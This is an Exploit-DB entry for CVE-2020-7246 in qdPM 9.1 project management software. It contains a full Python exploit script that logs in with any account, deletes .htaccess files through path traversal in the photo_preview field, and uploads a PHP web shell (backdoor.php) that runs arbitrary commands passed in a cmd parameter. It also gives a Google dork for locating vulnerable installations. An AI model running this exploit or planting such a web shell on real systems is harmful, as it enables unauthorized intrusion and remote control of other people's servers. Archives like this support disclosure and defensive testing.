Exploit-DB #47954
Description: qdPM 9.1 - Remote Code Execution
Type: webapps
Platform: php
Date: 2020-01-23
Author: Rishal Dwivedi

Exploit:
# Exploit Title: qdPM 9.1 - Remote Code Execution
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2020-01-22
# Exploit Author: Rishal Dwivedi (Loginsoft)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Windows 10 (Python 2.7)
# CVE : CVE-2020-7246
# Exploit written in Python 2.7
# Tested Environment - Windows 10
# Path Traversal + Remote Code Execution

# Command - qdpm-exploit.py -url http://localhost/ -u user@localhost.com -p password
# -*- coding: utf-8 -*-
#!/usr/bin/python

import requests
from lxml import html
from argparse import ArgumentParser

session_requests = requests.session()

def multifrm(
    userid,
    username,
    csrftoken_,
    EMAIL,
    HOSTNAME,
    uservar,
    ):
    request_1 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, uservar),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[remove_photo]': (None, '1'),
        }
    return request_1


def req(
    userid,
    username,
    csrftoken_,
    EMAIL,
    HOSTNAME,
    ):
    request_1 = multifrm(
        userid,
        username,
        csrftoken_,
        EMAIL,
        HOSTNAME,
        '.htaccess',
        )
    new = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                , files=request_1)
    request_2 = multifrm(
        userid,
        username,
        csrftoken_,
        EMAIL,
        HOSTNAME,
        '../.htaccess',
        )
    new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                 , files=request_2)
    request_3 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, ''),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[photo]': ('backdoor.php',
                         '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'
                         , 'application/octet-stream'),
        }
    upload_req = session_requests.post(HOSTNAME
            + 'index.php/myAccount/update', files=request_3)


def main(HOSTNAME, EMAIL, PASSWORD):
    result = session_requests.get(HOSTNAME + '/index.php/login')
    login_tree = html.fromstring(result.text)
    authenticity_token = \
        list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value"
             )))[0]
    payload = {'login[email]': EMAIL, 'login[password]': PASSWORD,
               'login[_csrf_token]': authenticity_token}
    result = session_requests.post(HOSTNAME + '/index.php/login',
                                   data=payload,
                                   headers=dict(referer=HOSTNAME
                                   + '/index.php/login'))
    account_page = session_requests.get(HOSTNAME + 'index.php/myAccount'
            )
    account_tree = html.fromstring(account_page.content)
    userid = account_tree.xpath("//input[@name='users[id]']/@value")
    username = account_tree.xpath("//input[@name='users[name]']/@value")
    csrftoken_ = \
        account_tree.xpath("//input[@name='users[_csrf_token]']/@value")
    req(userid, username, csrftoken_, EMAIL, HOSTNAME)
    get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')
    final_tree = html.fromstring(get_file.content)
    backdoor = \
        final_tree.xpath("//input[@name='users[photo_preview]']/@value")
    print 'Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' \
        + backdoor[-1] + '?cmd=whoami'


if __name__ == '__main__':
    parser = \
        ArgumentParser(description='qdmp - Path traversal + RCE Exploit'
                       )
    parser.add_argument('-url', '--host', dest='hostname',
                        help='Project URL')
    parser.add_argument('-u', '--email', dest='email',
                        help='User email (Any privilege account)')
    parser.add_argument('-p', '--password', dest='password',
                        help='User password')
    args = parser.parse_args()

    main(args.hostname, args.email, args.password)